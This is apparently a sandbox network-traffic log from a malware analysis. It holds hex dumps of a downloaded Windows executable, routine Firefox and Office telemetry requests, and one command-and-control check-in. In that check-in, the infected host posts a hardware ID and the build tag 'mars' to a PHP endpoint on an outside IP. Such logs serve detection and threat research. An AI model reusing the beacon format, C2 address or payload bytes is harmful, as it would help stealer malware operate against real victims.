00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 15 16 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ *`Ui` @ @.rsrc`2@.idata 8@ybkcjpak)):@joqtqtqu `)@.taggant@*")@
Nov 18, 2024 08:57:25.051100969 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051114082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051192045 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051207066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051223040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051243067 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051260948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051281929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.051301956 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 08:57:25.057487011 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: '?&))*"N', 8TX+G\|

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	50149	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:28.820787907 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 08:57:29.422725916 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 11:34:23 GMT Age: 73386 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	50161	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:29.444622040 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 08:57:30.039628983 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 63989 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.7	50162	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:29.538211107 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 08:57:30.125272989 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 11:34:23 GMT Age: 73387 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 08:57:30.192770958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 08:57:30.315810919 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 11:34:23 GMT Age: 73387 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 08:57:30.548526049 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 08:57:30.671228886 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 11:34:23 GMT Age: 73387 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 08:57:31.213052034 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 08:57:31.335748911 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 11:34:23 GMT Age: 73388 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 08:57:35.952493906 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 18, 2024 08:57:36.077210903 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 11:34:23 GMT Age: 73393 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 18, 2024 08:57:46.094372988 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	53148	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:30.145421982 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	53149	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:30.354923010 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	53154	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:30.717358112 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 08:57:31.314305067 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 63991 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 08:57:31.396976948 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 08:57:31.523458004 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 63991 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 08:57:36.091655016 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 18, 2024 08:57:36.216058969 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 63996 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 18, 2024 08:57:46.232471943 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	53155	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 08:57:33.298175097 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 08:57:34.128432989 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:57:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 08:57:34.373744965 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 34 41 43 43 45 32 33 45 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="hwid"AD4ACCE23E653001675293------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="build"mars------HIDGCFBFBFBKEBGCAFCG--
Nov 18, 2024 08:57:34.659651995 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:57:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:20 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: f97c396d-d01e-007a-478a-38f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075520Z-164f84587bf7k72dhC1DFWvczs00000005d000000000emdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:20 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-18 07:55:20 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
